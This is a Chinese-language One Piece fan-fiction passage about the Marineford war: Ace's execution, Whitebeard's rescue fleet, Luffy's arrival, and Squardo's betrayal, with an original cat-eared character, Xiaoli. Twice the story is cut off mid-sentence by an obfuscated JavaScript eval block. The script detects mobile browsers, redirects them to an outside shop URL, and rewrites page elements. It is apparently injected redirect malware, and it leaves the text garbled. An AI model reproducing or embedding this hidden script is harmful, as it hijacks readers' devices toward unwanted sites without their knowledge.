奇异地,那过度汹涌的悲伤和恐惧,仿佛在这一刻触碰到了某个阈值,被大脑的自我保护机制猛地抽离、隔绝。极致的情绪之后,是一种近乎冰冷的清明,如同风暴过后的海面,平静,却深不见底。 她不再挣扎,不再哭泣,只是站在那里,缓缓地抬起手,用袖子用力抹掉了脸上的泪痕。再抬起头时,那双蔚蓝的眼睛里,虽然还残留着红肿,却已燃烧起一种截然不同的火焰——那是下定一切决心后,破釜沉舟般的坚定光芒。 “一定会的!” 她忽然开口,声音不再颤抖,而是带着一种向命运、向战争、也向自己宣告般的坚定力量。 “我知道,我很弱小,微不足道,和各位队长们比起来,更是不值一提。” 她向前一步,主动伸出手,紧紧抓住了马尔科刚才拎着她、此刻还微微有些僵硬的手。她的手指纤细却有力,掌心带着泪水的微湿和坚定的温度。 “但是!” 她抬起头,眼神明亮得如同划破深海的星辰,一字一句,清晰无比: “一定有我也能做到的事情!能做到的,就拼尽全力去做!做不到的,咬碎牙齿、赌上性命也要去尝试!” “我绝不会留下任何遗憾的! 因为——” 她顿了顿,声音提得更高,带着不容置疑的自豪与归属感,“我也是海贼,是白胡子海贼团的一员!是可以和你们一起战斗、守护大家的——” “家人!!!” 少女的宣言,并不如何响亮,却如同一柄淬火的利剑,劈开了船头沉重的低气压,也劈开了每个人心中那层悲壮的阴霾。 白胡子静静地听着,看着这个不久前还在他怀里哭泣、此刻却挺直了单薄脊梁、眼中燃烧着不屈火焰的小女儿。他脸上的表情,从最初的凝重,慢慢化开,最终变成了一个无比欣慰、无比自豪、甚至带着几分“果然如此”的畅快笑容。 “咕啦啦啦啦啦——!!!” 豪迈的笑声再次爆发,比之前更加洪亮,充满了无尽的骄傲与沸腾的战意!他用力拍了拍小狸的肩膀,拍得她一个趔趄,却让她站得更直。然后,他转向甲板上所有或明或暗关注着这边的儿子们,洪钟般的声音响彻每一个角落: “听到了吗?!臭小子们!!小狸可是这么说了!!” 他高高举起那如同磐石般的拳头,目光扫过每一张或年轻或沧桑、此刻却都写满动容的脸: “当时答应了这丫头的混蛋们!!你们可都要给老子——” “全须全尾地!和老夫一起回来喝酒啊!!!!” “哦哦哦哦哦哦——!!!!!!” 震耳欲聋的、混杂着热血、泪意、决死信念的怒吼,如同压抑已久的火山,轰然爆发!从莫比迪克号,到周围每一艘被泡泡膜包裹的舰船,所有战士都举起了手中的武器,用尽全身的力气发出呐喊!那声音汇聚成一股无形的洪流,冲破了深海的寂静,仿佛要直达海面,直达那个即将成为战场的马林梵多! 前路依旧遍布杀机,但此刻,这艘承载着“家庭”信念的巨舰之内,再无迷惘。 67.马林梵多 艾斯的双手被反锁在身后,海楼石手铐冰冷得刺骨,那种寒意并非仅仅作用于皮肤,而是顺着腕骨一路钻进骨髓。 他被一队海军精锐押解着,一步一步,沿着处刑台陡峭而漫长的阶梯向上攀登。脚下的石阶发出空洞而沉重的回响,像为他敲响的、缓慢的丧钟。他紧闭着双眼,眼帘隔绝了外界刺目的阳光和那些或憎恶、或好奇、或怜悯的视线,却隔绝不了从头顶倾泻而下的、越来越清晰的死亡气息。 那高台顶端的日光,透过薄薄的眼皮,依旧灼热得令人眩晕。但他明白,那里等待他的绝非什么光明或解脱,只有冰冷的铡刀,和一场面向全世界的、名为“正义”的残忍表演。 喉咙深处不受控制地涌上一股铁锈般的腥甜,那是紧咬牙关太过用力,齿龈渗出的血。艾斯将它狠狠咽下,连同那几乎要冲破胸膛的哽咽一起,死死压回肺腑深处。 艾斯的脚步几不可查地踉跄了一下,身后的海军立刻警惕地加重了压制他肩膀的力道。 脚步终于踏上了处刑台的最高处。 一瞬间,所有的声音和光线仿佛被放大了千百倍。下方马林梵多广场上,密密麻麻的海军阵列肃杀无声,刀剑的寒光连成一片冰冷的金属海洋。更远处,通过电话虫投射而来的、来自世界各个角落的无数道目光,仿佛化作了实质的压力,沉甸甸地压在他的肩头,让他几乎喘不过气。阳光毫无遮挡地倾泻下来,灼烤着他的皮肤,却驱不散心底一丝一毫的寒意。 他被粗暴地按压着跪下,膝盖撞击在坚硬的木板上,发出沉闷的响声。但他下意识地绷紧了全身的肌肉,脊背如同拉满的弓弦,挺得笔直,不肯弯折分毫。目光所及,是爷爷卡普那张熟悉又陌生的脸。老人就站在不远处,死死地抿着嘴,额角的青筋因为过度用力而微微跳动,那双总是带着豪迈笑意的眼睛此刻布满了血丝,正艰难地、痛苦地移开视线,不敢与他对视。 艾斯的心像被一只无形的手狠狠攥紧,拧绞。 爷爷……对不起。最终还是让您为难了,让您站在了这里,站在了我的对立面。 这时,站在处刑台中央的战国元帅开始向全世界宣告,声音通过扩音电话虫传遍四方,冰冷而威严:“今天在此处刑的,不仅仅是白胡子海贼团的二番队队长,火拳艾斯。他的另一个身份,是海贼王——哥尔·D·罗杰之子!” 话音落下,如同巨石投入死水,激起的却是 席卷世界的惊涛骇浪。下方广场传来无法抑制的骚动和倒吸冷气的声音,通过电话虫,全世界仿佛都在这一刻哗然。 然而,身处风暴中心的艾斯,内心却奇异地平静了下来,甚至泛起一丝冰冷的麻木。罗杰的儿子?这个缠绕了他整个童年和少年时代的阴影,这个让他一度自我厌弃、甚至质疑自身存在意义的标签,此刻听起来却如此遥远而空洞。 他的老爹,唯有白胡子一人。那个如山岳般伟岸,如大海般包容,给了他归宿和“家庭”真实含义的男人。 而他的存在本身,他的价值,他的“可以被爱”的资格……也早已被另一道纤细却无比坚定的影子,用最笨拙也最真诚的方式,毫无保留地肯定了。 小狸……她还在生病。被他几乎是半强迫地留在那座安全却陌生的岛上。有没有好好吃药?没有他在旁边连哄带骗地监督,她会不会又任性得不按时吃饭…… 更可怕的是……如果她看到了处刑的直播呢? “不……不要看……”一声破碎的、几乎微不可闻的呓语,从他紧抿的唇缝间溢出,瞬间被高处呼啸而过的海风吹散,无人听见。 光是想象那个画面,就让他的心疼得几乎要撕裂开来。他宁愿她永远恨他,怨他不告而别,也好过让她亲眼目睹这一幕,承受这种凌迟般的痛苦。那只那么怕孤独、那么黏人、好不容易才学会依赖和撒娇的小猫,要怎么独自面对他血淋淋的终结? 他忽然抬起头,望向那片依旧广阔无垠的蔚蓝天空。阳光刺得他眼睛生疼,视野边缘泛起模糊的光晕。恍惚间,他仿佛看到了风车村后山那棵熟悉的大树,看到了年幼的路飞顶着草帽,咧着缺牙的嘴,听见自己对他说 ‘我们要过得比谁都自由……路飞……’ ‘绝对,绝对不要留下遗憾……’ 遗憾…… 这个词像一颗投入心湖的巨石,瞬间击碎了那层勉力维持的平静假面。巨大的酸楚如同决堤的洪水,轰然冲垮了他所有的防线,汹涌地漫过胸腔,哽在喉咙,灼烧着眼眶。 老爹……大家……还有……小狸。 对不起。真的对不起。 我终究,还是辜负了所有人的期望。我食言了。我答应过老爹会小心,答应过大家会回来,答应过小狸……不会不告而别,会一直保护她。 想到小狸,在那一片绝望的灰烬中,却又诡异地冒出一点微弱如星火的……庆幸。 他说不清这庆幸从何而来。是因为此刻只有他独自跪在这高台之上,而她或许还安全地待在远方,未被这血腥的战场牵连?还是因为……自己那份深埋心底、几乎要破土而出却又被死死按捺的感情,最终没能说出口,因此未曾给她带来额外的负担和牵挂? 或许,两者都有吧。 在生命的最后,知道自己被深深地爱着,这样就足够了,时间会带走一切伤痛。在家人们的陪伴和爱护下,聪明又坚强的小狸,一定也能慢慢走出来,拥有新的、充满阳光的生活。只是,那生活里,不再有他的存在罢了。 只是……想到这里,心脏深处传来一阵尖锐的、几乎让他痉挛的刺痛。那是一种混合着无尽眷恋、深切不舍和滔天不甘的剧痛。 真的好不甘心啊。 还没有看着她长得再健康一点,脸上多一点肉。 还没有带她去看更多大海的奇景,兑现一起冒险的诺言。 还没有……亲口告诉她,她对他来说,早已不仅仅是“妹妹”那么简单。 纷乱的思绪如同暴风雨中的海藻,纠缠撕扯,几乎要将他的理智吞噬。就在意识即将被黑暗淹没的边缘—— 为什么……他好像听到了海浪被劈开的、沉闷而磅礴的巨响? 为什么……下方海军阵列中传来了无法抑制的惊呼和骚动? 为什么……他仿佛看到了,在马林梵多平静的海面之下,巨大的阴影正在上浮? 艾斯猛地睁开被泪水模糊的双眼,难以置信地望向港湾方向。 下一刻,他的瞳孔骤然收缩到极致! 不是幻觉! 那艘庞大如山岳的莫比迪克号,正悍然从海面之下昂首升起!而船首之上,那个比山岳更伟岸、比大海更深沉的身影,正屹立在最前方! 是老爹!还有……大家! 艾斯的心脏在那一瞬间停止了跳动,随即又以几乎要炸裂的疯狂速度擂动起来!血液冲上头顶,耳膜嗡嗡作响,视野因为极致的震惊和汹涌而来的、无法承受的情感冲击而阵阵发黑。 不……不可能……老爹怎么会……大家怎么会来这里?!这里是海军本部马林梵多!是世界上最森严的军事要塞!是注定有来无回的战场! 不要……不要啊!!! 他已经不想再牵连任何人了!不想再看到任何人因他而流血、受伤、甚至丧命!为了他这个“罗杰的儿子”,不值得!真的不值得! 可是为什么……为什么连小狸也…… 艾斯的视线如同被磁石吸引,死死钉在了莫比迪克号甲板某个并不起眼的角落。在那里,一道纤细得仿佛随时会被海风吹散的身影,正静静地站着。她脸色苍白得近乎透明,在周围一众身材高大、气势汹汹的海贼中显得格格不入。她甚至没有像其他人一样怒吼或备战,只是微微仰着头,隔着遥远的距离,安静地、一眨不眨地望向处刑台的方向,望向他。 她来了。拖着生病的身体,违背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为什么!为什么要来救我啊,老爹!都是我的错,是我一意孤行,不听你和大家的劝阻,一心要抓捕蒂奇,是我肆意妄为冲动自大,被海军抓住,我不想……我不想再有任何人因我而丧命,为我这个……罪恶的血脉……” “艾斯,你这个傻小子!是我,是我让你去的,如果要说有错,那也是我这个做老爹的,没能保护好自己儿子的错。” “老夫,从来都不在乎你的血脉,老夫只知道,你是老夫,是我爱德华.纽盖特的儿子!老爹来救心爱的儿子,这是天经地义的事!” 他微微向前倾身,声音透过海风,清晰地传到艾斯耳边,带着一丝几乎不可察觉的、属于长辈的忐忑和温柔: “艾斯啊……我这个老爹,一直以来,还算……称职么?” “当然了!!!” 他用尽全身的力气,嘶声大喊,声音因为激动和哭泣而劈裂沙哑,却蕴含着斩钉截铁、不容置疑的肯定: “您是世界上最棒的老爹——!!!!” “咕啦啦啦啦,那就好,等着我,艾斯!” 随着白胡子双拳荡开,他拳头所击之处的空气都在碎裂,巨大的震动,在马林梵多震开。以白胡子为中心,恐怖的震动之力如同无形的怒涛,呈扇形向着马林梵多两侧的海面疯狂扩散!刹那间,平静的海面被一股无可抗拒的伟力掀起,两道高度足以将整个马林梵多彻底淹没的、连接天地的超级海啸,如同两堵移动的、咆哮的蔚蓝城墙,裹挟着毁灭一切的气势,从港口两侧轰然升起,向着海军本部狠狠拍下—— 处刑台下方,三大将之座,青雉抬头看了一眼,整个人突然从座位上消失。他出现在海啸发起的中心,双手一伸,自他手掌上,极快的延伸出冰刺,贴在了两边的海啸中。“冰河时代!”以冰刺贴住的地方为基准,海水在一刻迅速被冻结,在周围形成了两个巨大的海啸冰雕,海面也随之冻结 海贼们纷纷跳下船,和海军交战在一起 “上啊!夺回艾斯!!!” 68.我可是你的弟弟啊 这场被称为“马林梵多绞肉机”的战争,其残酷程度远超小狸的想象。每分每秒都有人影倒下,或被刀剑贯穿,或被能力撕裂,生命如同被狂风卷走的落叶,轻飘飘地消散。后面的人却仿佛看不见这惨烈的景象,眼睛赤红,踩着同伴尚且温热的尸骸,喉咙里发出不成调的吼叫,继续向着处刑台的方向,发起一波又一波绝望的冲锋。 小狸紧紧抿着唇,唇色因为用力而发白。她的指甲深深掐进掌心,带来尖锐的刺痛,勉强压制住胃部翻涌的恶心感和想要冲出去的冲动。 她没有像其他人一样冲向处刑台。她很清楚自己的实力。她或许比普通人敏捷,但在这种规模的战场上,面对海军将校甚至是大将级别的怪物,她的力量微不足道。贸然冲进去,非但救不了艾斯,反而可能成为大家的负担,需要别人分心来保护她。 所以,她选择了一个最笨拙,也最坚定的位置——牢牢守护在白胡子老爹那如同定海神针般的身侧。 --- “艾——斯——!!!” 一声熟悉的呐喊从更高处的天空传来 小狸的猫耳猛地竖直,她迅速仰起头,蔚蓝的瞳孔骤然收缩。 只见一艘中型军舰,正以一种极其诡异、近乎垂直的姿态,从马林梵多广场上空的高处翻滚着坠落!而在那艘摇摇欲坠的军舰船头,一个身影正一只手死死扒着栏杆,另一只手拢在嘴边,朝着处刑台的方向,用尽全身力气嘶吼着那个名字! 路飞!? 怎么会是他?!他怎么会出现在这里?!而且还是以这种……从天而降的方式?! 小狸眼睁睁看着那艘军舰如同陨石般砸向下方的冰面,卷起漫天冰屑和烟尘。而那个草帽身影,在军舰即将触底的瞬间,如同弹簧般猛地从船上弹射而出,橡胶手臂伸长,抓住远处一块凸起的冰棱,将自己像炮弹一样甩了出去! 他的目标原本显然是直线冲向处刑台,但在空中飞掠时,那双总是洋溢着无限活力的眼睛,似乎捕捉到了莫比迪克号船头那醒目的身影,以及白胡子身侧那道纤细的轮廓。 “嗯?”路飞在空中硬生生扭转身形,橡胶手臂再次改变方向,“咻”地一声,精准地落在了小狸身边不远处。 “小猫姐!你也在啊!”路飞站稳身体,脸上露出了毫无阴霾的、如同见到老朋友般的惊喜笑容,仿佛此刻身处的不是血肉横飞的战场,而是某个熟悉的岛屿集市。他甚至有闲心抬起胳膊,用力挥了挥。 随即,他才后知后觉地注意到,站在小猫姐旁边那个如同小山般巍峨、散发着无形压迫感的巨人。路飞歪了歪头,视线顺着那标志性的月牙形白胡子向上,对上了白胡子那双正居高临下、带着审视与一丝兴味打量着他的深邃眼眸。 “呜哇——”路飞很诚实地发出了惊叹,眼睛瞪得溜圆,指着白胡子的胡子,“大叔!你的胡子好夸张啊!像月亮一样!” “路飞!不可以对老爹无礼!”小狸几乎是条件反射般,一记手刀(虽然考虑到路飞的橡胶体质,其实更像是轻轻一拍)敲在了路飞的头顶,语气带着嗔怪和一丝无奈。这家伙,神经到底是有多大条啊! “啊痛!”路飞配合地捂住脑袋,虽然一点也不疼,但还是夸张地龇了龇牙。然后,他像是才消化完小狸的话,眼睛倏地亮了起来,猛地转向白胡子,挺起瘦削却充满力量的胸膛,双手叉腰: “小猫姐叫老爹的话……大叔!你就是白胡子嘛!?四皇之一,世界上最强的男人?!” 白胡子看着这个在尸山血海的战场上,依然能保持如此纯粹直接、甚至有点冒失莽撞的少年,非但没有动怒,反而发出了一阵低沉而畅快的笑声。 “咕啦啦啦啦——”笑声如同闷雷滚动,带着一种奇异的穿透力,甚至暂时压过了附近的喊杀声,“没错,小子。老夫就是白胡子。” 得到确认,路飞脸上的笑容更加灿烂,仿佛见到了什么值得挑战的传奇人物。他再次挺直腰板,草帽下的眼睛燃烧着毫不掩饰的野心和自信,声音洪亮得如同宣誓: “我是,蒙奇·D·路飞!”他顿了顿,每一个字都掷地有声,“是要成为海贼王的男人!” 空气仿佛凝固了一瞬。 附近几个正在交战的海贼和海军都不由自主地慢了半拍,愕然地将目光投向这个口出狂言的草帽小子。 “路飞!!!”小狸气得脸颊都鼓了起来,恨不得再给他脑袋上来一下。这家伙知不知道自己在什么场合啊! 然而,白胡子再次大笑起来,笑声中非但没有被冒犯的怒意,反而充满了对这份初生牛犊不怕虎的莽撞劲头的欣赏。 “咕啦啦啦啦,真是个不知天高地厚、意外有趣的小子!”白胡子巨大的手掌摩挲着丛云切的刀柄,眼中精光闪烁,“不过,这个位置可不会那么轻易地就让给你哦!新时代的小鬼!” “等着瞧吧,大叔!”路飞毫不示弱,咧开嘴,露出一口白牙,“在那之前——” 他猛地转过身,所有的嬉笑和轻松瞬间从脸上褪去,取而代之的是一种近乎执拗的坚定。他的目光穿越混乱的战场,牢牢锁定了处刑台最高处那个被锁链束缚、跪在那里的熟悉身影。 橡胶手臂垂在身侧,五指缓缓收拢,紧握成拳。 “艾——斯——”他深吸一口气,胸腔因为用力而微微起伏,然后用尽全身的力气,将那份跨越了无数险阻、终于抵达此地的信念和兄弟情谊,化作震天动地的呐喊: “我来啦——!!!” 这声呐喊,清晰地传到了处刑台上。 艾斯浑身剧震,如同被一道惊雷劈中!他猛地抬起头,泪痕未干的脸上写满了极致的震惊和……更深沉的、几乎要将他吞噬的绝望! “路……路飞……?”他喃喃着,几乎不敢相信自己的眼睛。那个总是跟在他屁股后面、吵吵闹闹的笨蛋弟弟?那个应该在东海、在伟大航路前半段冒险的橡胶白痴?他怎么会……他怎么能……来到这里?! 巨大的震惊过后,是如同海啸般席卷而来的恐惧和自责! “笨蛋——!!!”艾斯用嘶哑到几乎破音的喉咙,朝着下方那个小小的红色身影发出泣血般的咆哮,“为什么要来这里啊!!不要救我!离开这里!!!” 他拼命挣扎,海楼石手铐与皮肉摩擦,带来火辣辣的疼痛,但他浑然不觉。 “像我这样的人……我这样的……根本不值得你们这样……路飞!快走啊——!!!” 他害怕!害怕他阳光般灿烂的笑容会永远凝固在这片冰冷的战场上!更害怕……路飞看到自己此刻这副狼狈不堪、被锁链束缚、跪在处刑台上引颈就戮的懦弱模样! 这份极致的恐惧,甚至超越了他对自己死亡的恐惧。 同样目睹这一幕的卡普,站在处刑台一侧,再也无法维持表面的铁血和冷静。老泪纵横,顺着他刚毅却已布满皱纹的脸颊滚滚而下。他死死咬着牙,牙龈都渗出了血丝,才勉强将那几乎要冲口而出的哽咽和怒吼压回喉咙深处。铁拳攥得咯咯作响,指甲深深陷入掌心,渗出血迹。 一旁的战国面色冰冷如霜,他瞥了一眼情绪几乎崩溃的卡普,声音压得极低,却带着刺骨的寒意和严厉:“卡普!看看你的家人们干的好事!先是打了天龙人,现在又来劫法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946086|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场,冲击海军本部!你自己看看,这场面,你怎么收拾?!” 卡普没有回应,只是将头颅垂得更低,肩膀几不可查地颤抖着,那无声的泪水和压抑到极致的痛苦,比任何辩驳都更有力,也更沉重。 下方冰面上,路飞对艾斯那充满绝望的嘶吼恍若未闻。他脸上的笑容消失了,取而代之的是一种艾斯从未见过的、属于男子汉的坚毅和不容置疑。 “我怎么可能不来救你!!!” 路飞的声音穿透硝烟,清晰无比地传入艾斯耳中。 “我可是——你的弟弟啊!!!” 路飞吼完,侧过头,看向身边的小狸。两人目光交汇,无需多言,一种奇妙的默契在硝烟中达成。小狸蔚蓝的猫瞳里映出路飞坚定的脸,又抬起,紧紧锁住处刑台上那个泪流满面、还在说着傻话的笨蛋。她磨了磨牙,尖尖的小虎牙在唇边若隐若现,气呼呼地朝着艾斯的方向大喊,声音清脆却带着不容置疑的力度: “去吧!路飞!艾斯那个大笨蛋现在昏了头了!尽说些没用的傻话!别理他,等把他救回来了,看我怎么狠狠教训他一顿!一定要让他知道乱说话的代价!” 她的声音带着少女特有的娇嗔和怒意,却奇异地冲淡了战场上那份沉凝的悲壮,注入了一丝鲜活的生命力。 “哈哈哈,那就拜托你啦,小猫姐!”路飞闻言,没心没肺地爽朗大笑起来,仿佛即将面对的不是龙潭虎穴,而是一场有趣的游戏。笑声中,他不再有丝毫犹豫,双脚猛地蹬地! “艾斯!!!等着我啊!!!!” 橡胶手臂如同拥有无限弹性的缆绳,骤然伸长!他的身体借着这股强大的弹力,像一颗出膛的炮弹,朝着处刑台的方向,义无反顾地弹射而去! 白胡子将这一切尽收眼底。他看着那个被香克斯称为“新时代希望”的草帽小子,看着他眼中燃烧的纯粹火焰,看着他为了兄弟敢于向整个世界政府宣战的勇气,看着他那份无视强敌、一往无前的莽撞和坚定……深邃的眼眸中,流露出毫不掩饰的、深深的欣赏。 这小子,就像一颗投入死水中的巨石,注定要在这片大海上,掀起前所未有的惊涛骇浪! 那么,就让他这个旧时代残党中,被称为“最强”的老家伙,来为这新时代最耀眼的希望之光,稍微……铺一铺路吧! 白胡子脸上的笑容收敛,取而代之的是一种如同磐石般的威严和决断。他手中的丛云切被他单手提起,重重顿在莫比迪克号的甲板上! “咚——!!!” 沉闷的巨响如同战鼓擂响,吸引了附近所有海贼的注意。 “马尔科——!!!别让草帽小子死了——!!!” 他顿了顿,目光扫过冰面上所有浴血奋战、属于白胡子海贼团的旗帜,声浪陡然拔高,带着不容置疑的威严和同生共死的决意: “白胡子海贼团——全体!!!” “全力辅助草帽小子路飞——!!!!!” 这道命令,如同投入沸油的冰水,瞬间引爆了所有白胡子麾下海贼的热血! “噢噢噢噢——!!!为了艾斯队长!为了老爹!!辅助草帽小子——!!!” “冲啊——!!给草帽小子开路——!!!” 原本就悍不畏死的海贼们,攻势更加疯狂!他们自发地开始向路飞前进的方向汇聚、清障,为他挡开侧翼袭来的海军,击碎拦路的障碍!路飞的前进路线,仿佛被一股无形的力量开辟出来,虽然依旧充满刀光剑影,但阻力明显减轻! 战争的天平,似乎因为草帽小子的加入和白胡子的这道命令,而发生了微妙的倾斜。 69.作为父亲,我并不恨你 白胡子依旧屹立在船头,如同定海神针,并未立刻下场。他的存在本身就是最大的威慑,牵制着海军最高战力不敢轻易妄动。 暂时,还没有海军能够突破层层防线,真正威胁到莫比迪克号船头。 然而,危险往往来自最意想不到的方向。 “老爹。” 一个略显低沉、带着复杂情绪的男声,忽然在很近的距离响起。 小狸的耳朵瞬间转向声音来源,瞳孔微缩。她看到一个身材高大、留着一头金色长发的男人,不知何时已经穿过甲板上忙碌的人群,走到了白胡子身侧很近的位置。男人脸上带着风尘和疲惫,眼神深处似乎压抑着什么,手中握着一把造型奇特、长度几乎是他本人一倍半的巨型长刀。 是“大涡蜘蛛”史库亚多,隶属于白胡子麾下新世界海贼团的一名船长。 白胡子微微侧过头,用眼角的余光瞥了他一眼,并没有太在意。对于自己的“儿子们”,他向来不设防。 “史库亚多吗?”白胡子的声音依旧沉稳,带着长辈的关切,“你还好么?身上的伤……”他顿了顿,目光重新投向下方惨烈的战场,声音里带上了一丝凝重和决断,“老夫也该活动活动筋骨了。再这么僵持下去,伤亡只会更加惨重。老夫得去帮帮我心爱的儿子们,为他们打开局面。” “是啊,老爹……”史库亚多低声应和着,声音有些飘忽,“我们全都对您……感激不尽。为了白胡子海贼团,您能做到这种地步啊……” 下一瞬,那长刀径直向白胡子的腹部刺了过去,白胡子从未怀疑过他的儿子,眼睁睁看着那长刀刺入了自己的腹部 “噗嗤——!” 那是利刃刺入血肉的、令人牙酸的闷响 小狸的视野中,清晰地映出了那柄冰冷的、泛着寒光的巨大刀尖,毫无阻碍地、一点点地没入白胡子那伟岸身躯的侧腹! 白胡子的身体几不可查地微微一震。他缓缓地、极其缓慢地转过头,那双总是充满智慧和包容的眼眸中,第一次清晰地浮现出难以置信的惊愕、茫然,以及一丝深沉的、被最亲近之人背叛的痛楚。他没有怀疑,没有防备,所以这一刀,结结实实地刺中了他。 “你……在干什么……!!!” 最先反应过来的,是牢牢守在白胡子身侧的小狸,她目眦欲裂,身体比思维更快,娇小的身影带起一阵疾风,以肉眼难以捕捉的速度扑到了史库亚多身上 “砰!” 她没有任何技巧,纯粹是依靠极致的愤怒和爆发力,用肩膀狠狠撞在史库亚多的胸口,将他整个人撞得向后踉跄,握着刀的手也不由自主地松了一瞬!就这一瞬,足够了! 小狸的双手如同铁钳,死死扣住了史库亚多握着刀柄的手腕和手臂关节!她那双总是清澈灵动的蓝眼睛,此刻赤红一片,燃烧着足以焚毁一切的怒火,死死瞪着近在咫尺的、这个背叛者的脸! “你怎么敢——?!你怎么敢对老爹——!!!” 她的声音因为极致的愤怒而颤抖、嘶哑,每一个字都像是从齿缝间碾磨出来的,带着血腥味。 没有丝毫犹豫,小狸手上骤然发力!只听得“咔嚓”、“咔嚓”两声令人头皮发麻的、骨骼错位的脆响!她竟是用最粗暴、最直接的方式,硬生生卸掉了史库亚多双肩的关节 “啊——!!!”史库亚多发出一声凄厉的惨叫,双臂软绵绵地垂落下来,再也握不住那柄巨大的长刀。刀身因为失去后续力量,只刺入了一小部分,便停了下来。 也正是因为小狸这及时到近乎本能反应的拦截和破坏,这一刀虽然刺中了白胡子,却并未能深入内脏。 然而,这已经足够了。 白胡子缓缓低头,看了一眼自己腰腹间那柄微微颤动的长刀,又抬起头,看向被小狸制住、因为剧痛和疯狂而面目扭曲的史库亚多。他的脸上没有暴怒,没有立刻反击,只有一种深沉的、几乎要将人淹没的悲哀和……不解。 史库亚多剧痛之下,反而像是彻底解脱了一般,发出一连串歇斯底里的、混合着痛苦和疯狂的大笑: “哈……哈哈……哈哈哈!!!你应该知道!你应该知道我有多么痛恨罗杰!!!我原来的海贼团,就是被罗杰海贼团毁灭的!我的伙伴们,全都死在了罗杰的手上!!!” 他瞪着白胡子,眼中充满了血丝和扭曲的恨意: “既然如此!你跟我说一声不就好了啊!告诉我艾斯是罗杰的儿子!告诉我,你想让艾斯当上海贼王!为什么?!为什么要瞒着我?!为什么要欺骗我们这些为你拼命的‘儿子’?!” 他的声音越来越大,充满了被背叛的控诉: “我为什么不敢?!是你们逼我这样做的!是你们——白胡子!!!不要再演戏了!!!” 他猛地转向周围听到动静、正震惊地望过来的其他海贼,声嘶力竭地吼道: “你们还没明白吗?!我们都被骗了!被出卖了!白胡子他已经和海军串通好了!!他要用我们这些麾下海贼团的命,去当海军的活靶子!去送死!用我们的血,来保护他们白胡子海贼团本船的人!来保护艾斯那个罗杰的孽种!!牺牲我们,保留他们!这样海军才会放他们一条生路!!!” 这石破天惊的指控,如同最恶毒的瘟疫,瞬间在附近的海贼中蔓延开来!许多正在奋战的海贼动作不由得一滞,脸上露出了惊疑不定的神色。战场上的信任,本就脆弱如纸。 “杀了我啊!有本事现在就杀了我啊!反正我们早就被抛弃了!被当成弃子了!迟早都会死在这里的!哈哈哈哈!!!” 史库亚多像个真正的疯子一样,躺在地上,不顾脱臼的双臂,朝着制住他的小狸,朝着沉默的白胡子,发出绝望而挑衅的狂笑。 小狸气得浑身都在发抖,赤红的双眼中杀意几乎凝成实质。指尖的利爪,此刻因为极致的愤怒和杀心泛起了金属般的冷硬光泽。她看着史库亚多那张扭曲疯狂的脸,看着白胡子腰腹间刺目的鲜血,胸腔里翻腾的怒火几乎要将她的理智彻底焚烧殆尽! 伤害老爹的人……不可饶恕!!! 她的利爪高高举起,对准了史库亚多毫无防备的脖颈,就要狠狠扎下——! “小狸。” 一只巨大、温暖、却带着不容抗拒力量的手掌,轻轻握住了她即将落下的手腕。 是白胡子。 他的声音平静,甚至带着一丝疲惫,却奇异地拥有抚平狂暴怒火的力量。 小狸的动作僵住了。她愕然又急切地抬头,看向白胡子。鲜血还在从他腰腹间的伤口汩汩流出,但他似乎毫不在意,只是用那双深邃如海的眼眸,静静地看着她,对她摇了摇头。 那眼神里,没有责怪,没有愤怒,只有深沉的包容,和一丝……请求。 小狸的呼吸一滞,高举的利爪剧烈地颤抖着,金属光泽缓缓褪去。她看着白胡子苍白的脸色和那刺目的伤口,又看看地上疯狂叫嚣的史库亚多,胸腔里那股几乎要爆炸的怒火,最终化为一种无处发泄的、憋闷到极致的疼痛和委屈。她咬着下唇,直到尝到血腥味,才极其缓慢地、不情不愿地,松开了钳制,收回了手。 白胡子对她微微颔首,示意她退开一些。然后,他深吸一口气,那巨大的身躯微微晃动了一下,但他稳住了。他毫不犹豫地伸出另一只手,握住了还插在自己腰腹间的、史库亚多的那柄巨型长刀的刀柄。 “嗤——” 刀刃与血肉摩擦,发出令人牙酸的声音。白胡子眉头都没皱一下,硬生生将那柄刀,从自己的身体里,徒手拔了出来! 鲜血顿时如同泉涌!小狸的心紧紧揪起,下意识地上前半步,却又被白胡子抬手拦住。他随手将那柄染血的巨刀扔在一边的甲板上,发出哐当一声巨响。 然后,他弯下了那如同山岳般伟岸的身躯。 靠近了仰躺在地上、因为他的举动而暂时停止狂笑、眼神复杂地看着他的史库亚多。 白胡子的影子,将史库亚多完全笼罩。他低头,看着这个因为仇恨而迷失、犯下大错的“儿子”,脸上没有丝毫杀意,甚至那最初的惊愕和痛楚也沉淀了下去,只剩下一种近乎悲悯的、属于父亲的怜惜和宽容。 “竟然对自己的老爹兵刃相向……” 白胡子的声音低沉,带着叹息,却异常清晰。 “真是个……愚蠢至极的儿子啊。” 话音落下,在史库亚多和周围所有人难以置信的目光中,白胡子缓缓伸出了他那双足以开山裂海、此刻却异常温柔的手臂。 他将因为脱臼和震惊而无法动弹的史库亚多,轻轻地、却无比坚定地,拥抱进了自己宽阔的怀里。 这是一个真正的、父亲的拥抱。带着体温,带着血腥味,更带着一种沉重如山的、无法言喻的爱与宽恕。 “即使如此……” 白胡子的声音在史库亚多耳边响起,如同最沉稳的鼓点,敲击着他被仇恨和谎言填满的心。 “我也依然……爱你。” 史库亚多的身体猛地一僵,瞳孔剧烈地收缩。 “我很清楚,你有多么痛恨罗杰。”白胡子继续说着,语气平和,却直指核心,“然而,父债子偿……这种想法,是何等的愚蠢。” 他顿了顿,仿佛在回忆,又仿佛在陈述一个最简单不过的事实: 